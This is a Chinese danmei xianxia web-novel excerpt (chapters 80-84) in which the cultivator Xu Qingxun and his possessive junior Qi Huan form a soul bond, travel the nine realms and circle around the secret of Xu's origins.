可是,这样忍耐下去,恐怕先疯的是自己。 祁桓身形微颤,不由得深吸了一口气,随后起身走到青衣修士身边,俯身轻语道:“师兄,该停下了。” 青衣修士愣了愣,似乎能够听到他的话,当真停下炼制,但似乎消耗太过了,居然意外睡了过去,缓缓地垂下头。 “……” 祁桓沉默,随即坐在了青衣修士身边。 “还不够吗,到底还要我做什么。”他隐隐觉得不是这个问题,但又解释不通为何师兄对他总是有所顾忌,甚至是忌惮,看着他的目光有时像看着另一个人,始终放不下最后的心防。 师兄天不怕地不怕,却唯独对那个人十分忌惮。 那个人究竟是谁?跟他又是什么关系?为什么师兄会通过他看到那个人? 不,应该问,那个人是师兄的什么人? 祁桓眼神暗了,无意识间杀气横生,充斥了整个法府,带来实质的寒意。 青衣修士本能地觉得冷,意识仿佛陷入在某个梦中,忽然皱起眉头,低声呢喃道:“师弟……你不准接近她们。你不有我嘛……不管,以后你只能在我后面,敢不听话我一拳下去,让你进入婴儿般的睡眠。”后面的语气渐渐强硬,充满了不容置疑的霸道,还有显然易见的占有欲。 祁桓一愣,惊喜地转头,师兄这是在梦中吃醋?魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 80-83 第81章 第八十一章 不能反抗他,不能离开他。…… 祁桓安静地听着, 眼露意外之色。 对方则说话声越来越低,最后仿佛陷入了噩梦之中,眉头紧皱,面色苍白, 双唇颤抖着仿佛在说些什么, 但声音含糊不清, 透着一股说不出的忌惮。 祁桓见状,正准备唤醒对方,却听见—— “你、你不要过来!” 祁桓一愣,以为对方说的是自己, 可再一看, 对方根本还没醒。 师兄梦中说的“你”是谁?他皱了皱眉, 压不住心底的好奇。 而这时, 陷入“梦境”的人还在呢喃,身形微微发抖,罕见地如此惊慌,“不、我是……对, 我是你的幻觉,我……从来没有存在过,这样你满意了吗?” 祁桓第一次见到这种情况,一时有些无措,师兄到底在和谁说话,幻觉又是什么意思, 莫非是“那个人”? 祁桓顿时紧张起来,若是能有进入他人梦境的神通,他可能就控制不住用了。 可是,他疑惑不解时, 噩梦的情况好像变糟糕了,青衣修士冷汗直冒,面色更加难看,好像在噩梦中遭到了不好的对待,双眸紧闭,眼尾微微泛红,尽管如此,却还是坚持道:“骗你?我为何要骗你,不然你来说说我是什么?你知道我从哪里来的吗。” 祁桓瞳孔一震,顿时屏住了呼吸。 从哪里来的意思……是不属于这里吗。师兄真正的来历到底是? 但青衣修士后面好像更虚弱了,声音断断续续,十分微弱,“哈啊,我才不告诉你,你就猜吧,当然,若是你想知道答案,何不……试着去逆转呢。” 不知为何,他话音未落,祁桓眼前竟突然闪过了一道莫名的画面,师兄被他捆绑在床上,面色苍白,浅色的双眸里倒映着——几乎与他一模一样的身影。 那个身影的气息极其危险,带着一股前所未见的压迫感,冰冷的双眸令人不寒而栗,如若嗜血的猛兽。 由于师兄的拒不配合,那个人好似怒了,目光居高临下地扫过师兄的身体,心中刹时涌现出一股强烈的凌虐欲,既然不听话,那便强迫对方听话,毕竟……他最喜欢摧毁这样坚强而美丽的存在了。 想到这,那个人甚至笑了。 虽然只是不到片刻的功夫,但祁桓切实体验了这一切。他完全反应不过来,头脑一头雾水,回过神后,内心顿时涌起了一股罪恶感,他居然想要伤害师兄,逼迫师兄就范,脑海中控制不住地跳出一堆不该有的想法,对自己最爱的人。 祁桓心跳骤停,努力地抛开那些可怕的念头,抬头看着眼前人,“师兄,你没事吗,那是梦,我不会那样对你。” 他下意识地说出了这些话,好像他本能地以为“那个人”就是他自己。 青衣修士本十分紧张,但似乎听见他的话后,稍稍缓和了一些,无意识间倒了过来,让他稳稳接住。 祁桓松了口气,本以为没事了,头脑突然一阵刺痛,竟险些控制不住情绪,脑海里又跳出了那些不该有的画面,其中一个,竟是他强迫师兄为他…… 祁桓眼神顿变,连忙收住念头,强行平复情绪后,将人扶躺在床上。 噩梦似乎结束了,但对方好像依然心有余悸,眉头紧皱,呼吸局促,汗水不知不觉间湿透了道袍。 他本来心疼这样的师兄,却心中不知为何出现了一丝满意和欣赏,紧接着还转变为不满,因为他想看见的绝不只是这样而已。 他想要师兄更虚弱更凄惨,无依无靠,自身难保,然后只能依靠他,仰赖他,必须遵从他的一切想法。 这种贪婪简直无法自控,一旦升起一丝火苗,竟直接烧遍了他的心,以此前他的所有不安与伤痛为燃料。 他突然产生十分可怕的想法,趁师兄熟睡之时剥夺师兄的修为,这样师兄以后就不能反抗他,不能离开他。 他也不必迷茫不安。 虽然是一闪而过的想法,很快便被压制下来了,但祁桓还是不由深吸了一口气,疯狂地告诫自己,那应该是魔经的影响,绝不能被蛊惑了。 一定要……控制住。 他是师兄的恋人,师兄本对他无意,却还是应了他的求爱,自己怎能背叛这样的师兄。 祁桓渐渐地收住念头,偏偏一道毫无来由的声音突然响起,质问他道:“你爱他,可他爱你吗,他从不告诉你关于他的来历、他的真身,为何,你知道吗?当然是——为了随时可以丢下你,然后回到他的家乡。” 这个说法几乎瞬间击穿了祁桓刚刚整理好的心,带来巨大的刺激。 他心知肚明,因此格外刺痛。 他怎么可能不知道,师兄好像从头到尾都不信任他,真正重要的事从不跟他说。 而他听话、盲从,只要是师兄说的,都不会怀疑,不,不是不会,是不想,因为他下意识地逃避被伤害,肉身的伤痛便是千刀万剐,他也不会眨眼,唯独…… 他已经失去的够多了,只有师兄了,但是为何—— 祁桓浑身颤抖,眼里透着压不住的戾气与怒火,灵力几乎失控,神通更是险些暴走- 不知过了多久,许清浔梦中惊醒,先是迷茫地看着天空,然后努力拼凑起记忆。他又不小心去了外面,而且又被那个祁桓囚禁了。对方逼问他来自哪里,他不肯回答,险些就要出事,而在那一刻,对方不知怎么了,突然俯身扶额,面露痛苦之色。 再然后,梦就乱了,他好像掉进了外太空,看到了无数星辰,还看到了呈莲花状的九界,它们很美,但莲心却正在萎缩,生出死亡的灰色。 还是神奇,九界并非九个星球,而是九片巨大的灵土大陆,每片大陆的面积看上去都大过蓝星的海陆面积。 恍惚间,他还想起了他在蓝星的父母家人。不知道他离开之后,家里怎么样了,但愿时间静止了,毕竟……他最不想让家人担心了。 梦镜非虚非实,有那么一瞬间,他动了念,想要回家,但下一瞬,他又想起了祁桓,那个无论如何他都放不下的男人。 他说过爱那个男人,也是实话,还说要带回家见父母,怎么能丢下对方,说走就走? 那个念头太强烈了,以至于一朝梦醒。 他还是留在修真世界,留在跟那个男人的家。 “真是奇怪的梦。” 许清浔坐起身,一头雾水,突然面色大变。糟了,他说好守祁桓休息的! “师弟你……” 他转过头,眼前空无一人,法府内也没有祁桓的气息。 不对劲。许清浔顿感不妙,立刻掏出夫妻佩,然后面色更加难看。祁桓居然不在夫妻佩的感知范围,不会发生什么事了吧。 一时间,有股莫名的惊慌传遍他全身,令他前所未有的紧张。 他当机立断展开了精神念丝,且几乎是瞬间覆盖了方圆几百里,但就在他开始仔细感知时,一道声音突然响起。 “师兄,你醒了吗。” 许清浔顿时一怔,僵硬地转过身,面露震惊之色。 黑衣修士不知何时出现在了这里,又或者,他本来就在,只是实力更强了,强到能够躲避他的感知,让他完全发现不了他的存在。 “师弟……你原来在啊。”许清浔不禁松了口气,站起身道:“既然在,为何无声无息的?很吓人的好不好。”他装作平常,其实发现了祁桓脸色不好。 祁桓轻应一声,不知什么意思,语气很淡地道:“刚在修炼,不经意间用了神通。” 若是往常,许清浔十有八九会顺着台阶下了,但今日,他敏锐地发现了祁桓的不对劲。 对方甚至不敢抬头与他正视。怎么回事? 许清浔不放心,走到祁桓面前问:“师弟,你怎么了,还没调理好吗?” 祁桓一愣,唇线微抿,似乎想要倾述什么,但又强行止住,摇头道:“没什么,师兄不必担心。” 他这个样子怎么看都有问题。许清浔甚至想起了没告白前的祁桓,当时这个男人也这样,将心事死死藏在心里,除非被揭露,打死都不说,为何?因为怕被伤害。 某种意义上,他其实也没有资格责备对方这点。但是…… 许清浔深吸了一口气,他想到了一个方法,一个不必全盘托出也能让这个男人安心下来的方法。用了这个方法,未来后悔也没机会了,但那……不止可以让对方安心,也可以让他自己安心。 他早该这么做的,思考那么多,顾忌那么多,却忘了这个男人的心情。 你啊,一定很不安吧。 嗯,做就做! 许清浔下定决心,眼神都变了,突然站前一步,将两人之间的距离缩近于无。 祁桓似乎呆了一下,下意识地问:“师兄,你——” 许清浔打断了他的话,眼里透着决然,“不必你你我我了,师兄……我今日决定,要跟你结契!” 祁桓顿时浑身僵硬,瞳孔不可思议地收缩起来,片刻都没有反应。 “咳,难道你不知道结契的意思?”许清浔刚刚鼓起的勇气差点给整萎了,要知道修真界的结契可比结婚严格多了,是真的一生一世只能有对方,双方神魂亲密相连,无时无刻不能感觉到彼此。 这样一来,无论他们之间有什么隐瞒,只要能直接感知到对方的心情,一定就能理解对方,起码知道对方有苦衷,并非有意为之。 许清浔豁了出去,再次摊牌,“我是瞒着你一些事,但未来你都会知道的,所以此时此刻,你只需要相信我!而我……也会努力相信你,好吗?” 祁桓瞳孔微震,深吸了一口气,“好,师兄说好,那便好。” 许清浔眨了眨眼,凑近道:“但你真的知道结契意味着什么吗。” 祁桓顿了顿,看着许清浔的脸色,紧张而不确定地问:“意味着……我考察通过了吗。” 许清浔心念一颤,他发现每当祁桓如此“楚楚可怜”地看着他时,他的好感槽总会瞬间暴满,恨不能当场给对方爆灯。 这样的心情只能用真爱来形容了吧? 可是,他一没立刻回答,那双眸居然便提前流露出失落之色。 真是一个要时刻哄的男人。许清浔不禁一笑,又觉得与自己爱照看人的性格相配。 于是他二话不说地吻上了对方。 管他什么天道什么使命,至少此时此刻,他不想留下任何遗憾! 第82章 第八十二章 饲养猛虎的窍门 “怎么, 你难道不愿意?” “……不是。” “那为何不接受?” 许清浔眉头一挑,显然有些不高兴,他都付出这么大牺牲了,对方居然没有立刻接受他的结契。 此时, 那个男人正被他骑在身下, 呆呆地望着他, 而听完他的话后,男人的眼里瞬间闪过一丝慌乱,连忙解释道:“不是不接受。” “那是什么?”许清浔耐心不足,双眸微眯, 隐隐带上了几分威胁。 祁桓有些着急, 他其实很想答应, 但他偏偏又想起, 自己的内心曾经出现过一些危险的想法,而若是结契之后,被师兄发觉了呢,师兄会不会误会他是那样的人? “还是沉默?你不会在心底藏着什么见不得人的事情吧?”许清浔皱起眉头, 目光危险地打量着身下的男人,怀疑自己是不是看漏了什么。 祁桓冷汗直冒,求生欲十分强烈,当即答道:“没有,我的心事……没有不能告诉师兄的。” “哦,那你在顾忌什么?”许清浔眼神忽冷, 开始产生了一些不好的联想,突然大惊道:“你、你莫非——” “断绝没有!”祁桓刹时一阵激动,连忙起身。他总是不善言辞,而此时此刻, 他知道自己必须说些什么。 许清浔一呆,正要开口,对方却忽然靠在他耳边,轻声说道:“其实是因为——” 许清浔好奇心顿时上涌,却听到一半面色涨红,满眸的难以置信,“你、你小子居然……” “都是真的,本不想让师兄知道,但师兄实在想知道,所以——” 祁桓一直留意着许清浔的表情,生怕对方露出不悦之色。为了避免说出真实的顾虑,似乎只好用“那些事”来掩盖了,虽然也是真的。 许清浔面色一白,气得微微发抖,消化了良久才道:“好、好吧,也是我没注意,但……没事,毕竟你也是一个血气方刚的男人,我……可以允许你。” 祁桓一愣,没想到许清浔会是这个回答,也许他一直误会了什么,凡事生怕对方不高兴,却忘记对方对他底线其实很低,尤其在他“示弱”的时候。 师兄口是心非,平日鲜少言爱,对他的爱,尤其体现在那些宽容和宠溺之上。 是啊,自己怎会忘记这点? 祁桓眼神顿时清亮,抛开了所有的顾虑,主动地吻上许清浔。 虽是猝不及防的举动,但许清浔并未抗拒,放任对方亲吻,虽说他平日里很少表现出来,但他毫无疑问是享乐主义者,只要对方能给他舒服的体验,他绝不会拒绝,或许这也是为什么他三番五次允许了对方,事后最多嘴上追究,并未真的抗拒过。 但话又说回来,结契有种魂交的感觉,好似最敏感最隐私袒露在了他人操弄之下,下意识地想退缩,又本能地想更加亲近对方,享受那份从未有过的欢愉。 喜欢。许清浔心里感慨,他或许对自己隐藏了什么,抑或是碍于师兄的面子不能直说。 毕竟,没人会不想跟爱人做.爱,也没人会希望自己老公性能力差。 而对方好像通过魂交知道了这点。 …… 转眼又是数年,玄界风云变幻,有人成名,有人陨落,昔日津津乐道的青年才俊,如今已经成了不可说的一方大能,主宰着时代潮流。 “听说他们离开了玄界?” “你的消息晚了,他们一年前就走了。” “什么,不是三年前吗?” 一些年轻修士讨论着,眼里充满了憧憬。 众所周知,玄界积弱,道法落后,在玄界称雄还远远不够,真正的强者永远是向上走的。 而邻近玄界的两界,分别是幽界和明界。他们是先去了幽界还是明界呢。 “犹记得,当年九界大炼的时候,他们联手天下无敌,横推九界天骄。” “也因此得罪了不少外界之人吧?” “是的,所以他们这一去……生死难料。” 有个老修士面露难色,他对面之人却不以为然,笑道:“我反而觉得,生死难料的是对面的人呢?” 此言一出,客栈内一片哗然。 有人注意到那人的身份,惊呼:“姬家三少爷?” 多年过去,姬舞明亦有改变,由于多次遭到惨痛的人格修正教育,如今的他看上去彬彬有礼,穿着也十分朴素,已经混在散修之中也不突出。 姬舞明一笑,“大家不必惊慌,事待如何,我觉得很快就有消息了。” 众人目瞪口呆。 正如他所料,不久之后,明界传来消息。万法与屠夫联袂而至,问道大明宗万古道统,一日之内大败大明英杰,震撼九界。 据说,屠夫的杀戮神通已经臻至极境,便是化神修士也不敢与他硬碰。至于万法,那更是恐怖,谁也不知他手上有多少法符,各种手段出神入化,超乎想象,简直不愧万法之名。 “他们杀去明界一路横推,实在太长我们玄界的脸了!” “听说他们接着杀去幽界了?这是要一路问道八界的势头啊!” 消息传到刚刚出关的李梦好耳里。 李梦好当即热血沸腾,赶紧追随上去。 而与此同时,幽界众修则是严阵以待,恭候大驾。 幽海惠脸色铁黑,咬牙切齿道:“这次,我非杀了屠夫不可!” 幽海灵看了他一眼,神色莫名。 然而,万众瞩目的两人却绕过幽界先去了神界。 那日晴空万里,灵气罕见的通透。 火神洪府中,火神洪本人惨遭捆绑,面露颓色。片刻之后,他终于忍不住开口,“两位……究竟找我何事?” “没,就是暂时住一下,再者,知彼知己,百战百胜,神界之强众所周知,便是我也不敢托大。”许清浔笑吟吟,仿佛毫无恶意。 火神洪却浑身一抖,如临深渊,只好求救地看向了祁桓。 祁桓则旁若无人地说:“无碍,我们会赢。” 许清浔一听,露出意外之色,转头道:“师弟,你如今真是越来越王道了。” 火神洪看着他们对话,有种自己不该在这里的微妙感。 真不愧是九界知名的杀神眷侣,走到哪里,哪里风云涌动,甚至血流成河。 “不过,你们真的要一路问道下去吗。”火神洪好奇地问。 “自然!”许清浔转头,表情难得露出几分严肃之色,“当年我都下了那个决断,如今怎能不绞尽脑汁证道成仙?” 火神洪一愣,顿时明白,万法看似玩世不恭,为人轻浮,但其实背负着难以想象的重担。 当年,他们虽全部竭尽全力夺得第一,可若是真的抢到手了,又该当如何?自己真的能担下葬灭一界生灵的因果吗? 可是,万法却能,而且他担下的是未来可能葬灭九界的因果。 说实话,当时的他、他们,谁不是松了一口气,并且对万法发自内心地钦佩呢。 火神洪忽地释然一笑,“算了,你们想住多久都行,不如我的这座法府就送给你们吧。” 许清浔闻言受宠若惊,问道:“你怎么突然变性了?” 火神洪坦然道:“没有变性,只是……单纯觉得你们真是人物,历史上可没有多少个敢问道九界的修士。” 许清浔笑了,“那是你孤陋寡闻,要知道,上古修士可是敢于问道百界的。” 火神洪一愣,随即大笑出声。 祁桓虽一直沉默,但眼神隐隐露出了几分柔光。 这样的岁月,怎能不令人眷恋。 不久之后,神界轰动,古族大乱。 来自玄界的不速之客横扫各族,挨个挫败同境界的高手,而若是遇到境界更高者,他们也不会硬拼,灵活斗法,当退则退,在莫大的神界打起了游击战,不亦乐乎。 是日,天清气朗,秋风拂面。 一位青衣修士路过颗粒无收的农田,随手一挥,转变大丰收,再背手离去,不知后来。 “再强大的修真界面,也还是有相当数量的凡人存在,师弟,你说若是能让人人皆能修炼,该多好?” “嗯,关键在于灵窍,只要能赋予凡人灵窍,便可人人皆能修炼。” “好啊,那便去寻找凡人修炼法!” 两人曾出现在一处荒芜的山头,待到追杀他们的人到来之时,两人早已无影无踪。 停在虚空的古族大能沉默许久,最后摇了摇头,负手离去。 再过不久,神界风云平息,但围观的诸界轰动了,玄界再次掀起轩然大波。 许家内部也是一片哗然。 主家的某一修炼室内,一男一女相视一笑。 与此同时,李梦好跋山涉水,找遍了神界,却始终找不到人。 另一方,界域边缘。 “师弟,你为何抓着我不放?” “……师兄忘了之前突然逃跑的事吗。” 许清浔一呆,随即面色闪过一抹薄红,“还不是你……”后面的话他说不出来,总觉得若是说了,好像在示弱一样,作为大师兄,他是绝不会示弱的! 而祁桓幽幽地说:“跑了三个月,好不容易才追到你。” 许清浔战术性地咳了一声,连忙哄道:“没事没事,我这不回来了吗?” “是我追到的。” “哈哈,其实师兄本来也要回去的。” 这样的对话似乎发生了不止一次,一开始的时候反应有些激烈,但后来,几乎成了一种日常。 对许清浔来说,哄好祁桓最简单也是最好的方法不外乎让草一顿,这种事他早就习惯了,还可以享受……咳,就当作一种情趣吧。 “比起这个,咱们下一个去道界吧?” “好。”祁桓几乎是立刻回答。 许清浔一笑,背手走上前,在对方的侧脸落下一吻。 不再拧巴之后,他的举动愈发坦然随心,甚至众目睽睽之下也丝毫不忌讳。 不过,他们之间的关系恐怕早就举世皆知了吧。哈哈,谈个恋爱居然也谈出了知名度。 他心中飘飘然,却没想到一吻点燃了那个禁欲三个月的男人,反被压在石壁上又吻又舔。 好家伙,完全不在意这里是什么地方吗?没办法,他只好法符起阵,就地造了一个临时的心象小世界。 饲养猛虎的窍门,不外乎定时给肉吃,千万不能让人饿着。 而事后祁桓先知后觉,低头一看,只见白玉般的人枕着他的腿酣睡,呼吸浅而规律,青色的道袍掩不住满溢的春色。 每一次他想发怒,师兄就会这样送上来,让他只能又怒又爱,最后像这样虔诚地守对方入眠。 毕竟,谁让对方是他的一生挚爱,他阴暗而死寂的心里唯一的光亮。 不过,他也是没想到,师兄的真身居然是…… 祁桓微微一顿,面露复杂之色。 第83章 第八十三章 他家对象管他太严- 幽界, 魂海,不死岛。 一座朴素的山亭之中,一道身影悄然显现。 青衣修士背手而立,道袍随风飘扬, 似乎对身后的存在早有预料。 “师尊, 收到我的消息了吗。”说着, 他转头一笑,格外灿烂。 天道化身的青年微微点头,目光有意无意地扫过四周,随口问道:“他不在吗。” 许清浔挠了挠脸, 老实道:“不在, 我是偷溜出来见你的。” 青年眼露意外之色, 语气略微古怪地问道:“你不怕他知道?” 许清浔十分坦然, “不怕,习惯了,而且若是跟他说了,他一定会跟上来, 到时候更解释不清,再说了,我已经跟他结契了,我的真心他感觉得到。” 青年更加意外,“多年不见,你居然……” 许清浔浅笑一声, 缓缓坐下,“意外吗?其实我也很意外,可是我又能如何?我不喜欢一边算计人一边跟人谈恋爱,只好提前支付, 而后来证明,我的选择没有错,那家伙还真的对我一心一意,一片真诚。” 青年愣了愣,随后也坐了下来,“既是你的选择,我也不好多言。” 许清浔浅饮一口茶,“闲话不多说,之前我们顾虑的那件事已经有了眉目。” 青年眼神顿变,抬头道:“那件事是……心象的他能否影响现实的他?” 许清浔放下茶杯,面色转变严肃,“虽然他下意识地向我隐瞒,但结契之后,我还是感觉到了一些似他又不似他的异质,我能够确定,他们之间是互相影响的,不,不能这么说,并没有他们,自始至终只有他。” 青年面露不可思议之色,“你想说,他与他的心是一致的?” 许清浔点头,反问道:“这才正常不是吗?哪有人与其心不一致?人都是知行合一的不是吗?” 青年一顿,好似恍然大悟。 许清浔接着道:“所以没有所谓主次之分,我只要搞定他,自然就完美解决了。” 青年沉默了一下,试探地问:“那你不如试着跟他坦白一切,然后让他显化心象世界?” “不行!”许清浔突然激动,“第一,目前还没有百分百的把握,第二,也是最重要的,我如今能镇得住他,是因为我修为比他高,而一旦他觉醒真身,知道自己其实比我强了,你猜会如何?” 青年微愣,轻声问:“会如何?” 许清浔当即道:“他绝对会原地变态的啊!”别看那头猛虎平日老老实实的,结契之前,他也一直这么觉得,但结契之后,他才发现那家伙……绝没有表面那么温顺! 或者不如说,那家伙有意隐藏起来了啊!他早该知道的,毕竟正常人谁会少年时代天天偷偷跟踪师兄啊,很早就是跟踪狂了好吧。 许清浔一本正经道:“总之,届时我肯定会下场惨烈,我绝不敢冒那个险。” 青年沉思了片刻,似乎还是不明白,“怎会下场惨烈?” 许清浔一愣,看着青年的眼神中微妙地带上了几分同情,也对,天道怎识人情世故? 他摆了摆手,“其实也没什么,最多天天被……不是什么大不了的事,只是多半会影响我修炼,因此怎么想都不成。” “是吗。”青年若有所思地点点头。 许清浔战术性喝了一口茶,转而端得正气凛然,“所以,最好的方法是我也证道成仙,这才能有百分百的把握镇得住他!” 青年似乎明白了,不过,仍有一点值得询问。 “你说他们是同一个人……但你之前不是很讨厌他吗。” 许清浔一愣,好像被问到了死穴,思考片刻才道:“喜欢一个人,不代表必须喜欢对方的所有,便是对他来说,我也不是任何地方都值得喜欢的。” 青年神色微变,摸了摸下巴,一副似懂非懂的样子。 “情感之事,我自会调理。”许清浔十分坦然,“毕竟,后面的日子还长着呢。” 青年抬眸,目光定定地看着许清浔,似乎赞同了许清浔的说法,但赞许之外,他的眼神里好像还有别的东西。 夹杂着眷恋、怀念、迷茫…… 许清浔不知想到什么,突然笑问:“话说回来,上次忘了问,《醒红尘》的读者那么多,你挑选的标准是什么,最讨厌祁桓?还是最了解祁桓?又或者是排名第一的盟主大哥?” 青年微微一愣,低眸想了想,随后摇头道:“其实,那不是一种选择。” 许清浔呆住,“不是选择?” 青年轻应一声,似乎不想展开这个话题。 许清浔不明白,但又仿佛想到了什么,眼神微不可察地闪过了一丝惊异,忽然开口问:“我为何会穿越成许家的‘许清浔’呢。” 安排了这场穿越的是天道,天道自然知道原因。 原本,他以为是为了给他福利,加buff,毕竟他肩负如此重任,起跑线自然越高越好,不必在其他事情上浪费时间,但事实如何呢? 青年面不改色地答道:“那并非我之安排。” 许清浔睁大眼睛,“不是你安排的,那是谁安排的?总不可能你一带我来这里,我就全自动投胎了吧。” 青年一顿,好像他说对了,事实就是这么不可思议。 许清浔傻眼了,接着追问:“那我的法符天赋也不是你点的?” 青年点了点头。 许清浔一时语塞,也就是说,自己真是天才?毫无杂质的纯天然天才?但即使是“天才”,好像也解释不了他在法符上的恐怖造诣吧,甚至那些极复杂难懂的上古符文,对他来说也不过是看几眼就能懂,研究一会就会照画的东西。 对比其他人,那简直太超模了。 祁桓是货真价实的时代主角,但在他面前也始终隔着难以逾越的一线,这么多年来都不曾打败过他,除非他故意放水玩情趣。 许清浔陷入沉思。 而他对面的青年则是站了起来,缓缓道:“你的想法我明白了,按你想的做吧,我干预不了你。” “是吗。” 许清浔思路中断,正欲抬起头,而青年已经消失无踪,好似从未来过一样。 干嘛啊,神神秘秘的,难道还有什么我忽略的事吗? 他摸着下巴沉思许久,突然想起他是瞒着祁桓偷溜出来的,顿时心道不妙,他家对象管他太严,片刻不在视线范围内都会炸毛,虽然不至于做什么,但谁能抵挡得了那双忧郁的眼睛啊。 许清浔小咳一声,“出来也有一会了,他肯定知道了,与其这么回去被他盯着,不如搞些礼物再回去?” 他到底是现代人,有一些浪漫的概念,既已经有了想法,那便付诸行动吧! 很快,幻境破灭,他亦消去身形。 这日中午,幽界好几座修士城池出现了一道青色的身影。他有时路过拍卖行,有时路过美食街,不知物色着什么好东西,嘴里总是念念有词。 “上次、上上次都是送剑,想也不缺剑了,那……丹药?” “等等,哪有送对象丹药的,我是笨蛋吗?” 许清浔想来想去,陷入了久久的纠结。忽地,他余光扫过身边的少年,目光往下,突然灵机一动,送玉佩的配饰! 当初他送祁桓玉佩的时候随手编了一条绳,这么多年过去,编绳坏是没坏,但也旧了,而且没啥特别的。今日何不升级一下? 许清浔眼里露出笑意,随后找遍全城,到处挑选玉佩编绳还有别的小东西。这种时候时间总是仿佛加速了,一个下午眨眼过去,而他还没有找到自己满意的。 是眼光太高了?倒也不是吧。 许清浔寻思着,片刻后恍然大悟,原来是不够契合他们的气质。 “还得量身定制才行。”他笑了笑,随后飘然离去,到了一处无人之地,以灵气化丝,辅以精神念丝,按照心中的模样缓缓编织。 半个时辰后,大功告成,他终于有底气回家了! 许清浔十分满意,随后消去身形。 自己这么久没回家,自家男人肯定是气炸了,他不会毫无愧疚,但没有将心虚显露在表面。 “师弟,我回来啦!” 许清浔大方入门,满面春风,而果不其然,面前的男人脸色黑沉,周身的气压低到了极致。 许清浔额头隐隐冒汗,当即上前拥抱,语气罕见的温柔,“我出门搞了点小玩意,你要不要看看?” “小玩意?”祁桓眼里闪过一丝疑惑。 许清浔直接开奖,“是咱们夫妻佩的佩饰!我亲自编织的,你看喜不喜欢?” 说时,他将佩饰摆了出来,介绍着自己的巧思。 祁桓瞳孔微震,目光落在佩饰上,好似发呆了一阵,片刻才反应过来,温声道:“嗯,谢谢师兄。” 许清浔微抬下巴,“嘿嘿,我就知道你会喜欢。” 其实,他送的东西,祁桓从来没有不喜欢的。这男人暗地里有种收藏癖,爱收集关于他的所有东西,还是他去年才发现的。 “快交出玉佩!” 祁桓一愣,当即取出自己的玉佩。 许清浔默契地抢到手里,迅速完成了搭配,两个玉佩摆起来果真如他所想,好看极了! 祁桓将他的笑容看在眼里,不动声色地笑了笑,仿佛方才的一切阴霾都在此刻消散了。 他的爱人总是如此,自由烂漫,随心所欲,不留神就会消失不见,而后又悄悄地回来,带着他无法拒绝的大礼。 而他,每次都只能原谅,抑或是继续佯装愤怒,然后对方便会心虚地再做补偿。 如此反复,非但不腻,反而更—— “师弟,你发什么呆呢?” 祁桓一愣,回过神,才知对方凑到了近前。 “好吧,说老实话,我去见师尊了,他跟我说了一些奇怪的事。”许清浔坦白,脸上带着几分困惑。 祁桓不知想到什么,问道:“什么事。” 许清浔回忆了一下,最终选择全部如实交代。 片刻之后,他们坐在榻上,而许清浔已经差不多说完了。 “总之就是,原来我的天赋异禀跟祂毫无关系。” 祁桓沉默了一阵,低声道:“是跟祂毫无关系。” 许清浔面色一变,因为听出了祁桓语气的微妙,问道:“那你知道跟什么有关吗?” 祁桓抬起了双眸,竟道:“知道。”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 第84章(正文完结) 第84章 第八十四章(正文完结) 他就…… “你……知道?”许清浔一愣。 “但我觉得无关紧要, 不过是一种来时因。”祁桓淡淡道。 “什么来时因?”许清浔歪了歪头,他或许不是完全一无所知,只是下意识地不去多想。 “师兄应该在自己的修行中慢慢体会。”祁桓想了想才道,语气十分慎重。 许清浔听得出来他并非故意谜语人, 于是沉思片刻之后, 选择了暂时不追问。 “但话说回来, 师弟,你还会看到‘那些画面’吗?” 闻言,祁桓眼神微变。几年前,他跟师兄坦白了他的一些异常, 师兄一时惊讶, 但后来仿佛想到了什么, 说那是幻觉, 或许跟他修炼灭世魔经有关,而他感觉到,师兄应该在说谎,因为师兄说谎时总是不敢直视他的眼睛。 祁桓沉默片刻, 答道:“还会看到。” 许清浔似乎并不意外,追问:“对你有什么影响吗。” 祁桓摇头,“没有。” 许清浔眼睛一亮,来了兴致,凑近道:“那你不会有‘他’的想法吧?” 祁桓此前坦白过,认为那是一些极度危险的想法, 并且强调过他自己不会有,都是“外来”的不好念头。 “不会有。”祁桓回答,然后抬眸与许清浔对视,声音略低, 带着几分威胁的意味,“但师兄若总是逃跑,将来或许会有。” 许清浔愣了神,而对面的男人趁着他失神,随手将他揽于怀中,强迫他坐在大腿上,举动之间尽是强势的占有欲。 许清浔一回过神,便感觉到侧颈一阵温热,因为那男人二话不说地吻了上来。 真是越来越不客气。而回头一想,造成这个变化还是他自己,若不是他三年前心血来潮用龙涎折腾对方,对方也不会彻底撕破那份边界,如今做什么都不会问他的同意了。 他寻思着,一边任由对方动作,一边解释道:“严格来说,我那不是逃跑,因为我知道你一定会找上来的。” “不还是逃跑……”男人声音幽幽,话尾好似带上了一点淫靡的水声。 “当然不是。人家逃跑都不想被抓到,但我是等着你抓呀。”许清浔仍旧理直气壮,“再说了,谁会给绑匪带礼物?” “有一些道理。”男人低头,不知认可了没有,但动作更加露.骨了。 “只是一些?”许清浔不满,却不由自主地轻喘一声,面色泛起不自然的霞红,声音微颤地道:“再说了,不还是因为你太管束我了吗?不要以为师兄跟你做道侣,你就可以对师兄为所欲为,别忘了,我若是想走,你根本留不下我。” 祁桓动作一顿,在那双浅色的眸里看到了烈日般炽热刺眼的、不容置疑、不可侵犯的高傲。 他的师兄总是很温和,无论对谁都十分亲切,不轻易发脾气,但他知道,那只是师兄的表面,只有触及到深层,师兄才会表露出本质。 自信、高傲、乃至恶劣,鄙视所有人,无视世间一切纲常伦理,只为自己舒服、自己开心。 所以他才爱啊。 他就是爱这样的师兄。 而在此之上,他还爱明明性格如此恶劣,却怜爱弱小,为毫不相干的他者奔波劳碌的师兄。 并非本愿之事,却也甘愿受到束缚,甚至为此烦恼、苦痛,不得不找他疏解,寻求安慰,依赖于他。 复杂而流动,恶劣而高尚,带着几分坏的良善之人。 而他明知个中缘由,却也从不点破,因为他爱着矛盾中挣扎的师兄,在此意义上,他也是恶劣者。 于是,他在心中笑了,却在那双眸前表现得紧张、患得患失、难以接受。 青衣修士一看,果不其然有所动摇,转而道:“哈哈,我就开个玩笑,这不是回来了吗。” 闻言,祁桓似乎松了口气,不再提这个话题。 不久后,他们去了其他界域,一样是走到哪里哪里“风生水起”,敌人很多,朋友也很多。 一日,许清浔留意到一个消息,独自去了某个上古遗迹。 对于天道、祁桓都不想多言的事情,他虽然表面不在意,但心底还是想知道到底什么情况。 那个上古遗迹,据说封存着许多上古符文,最古老的可以追溯到原始纪元,是他从原始太虚经口中敲出的情报。 “老原,你确定里面有东西,对吧?” 为了方便,许清浔给原始太虚经起了一个美称,虽然它非常不认可。 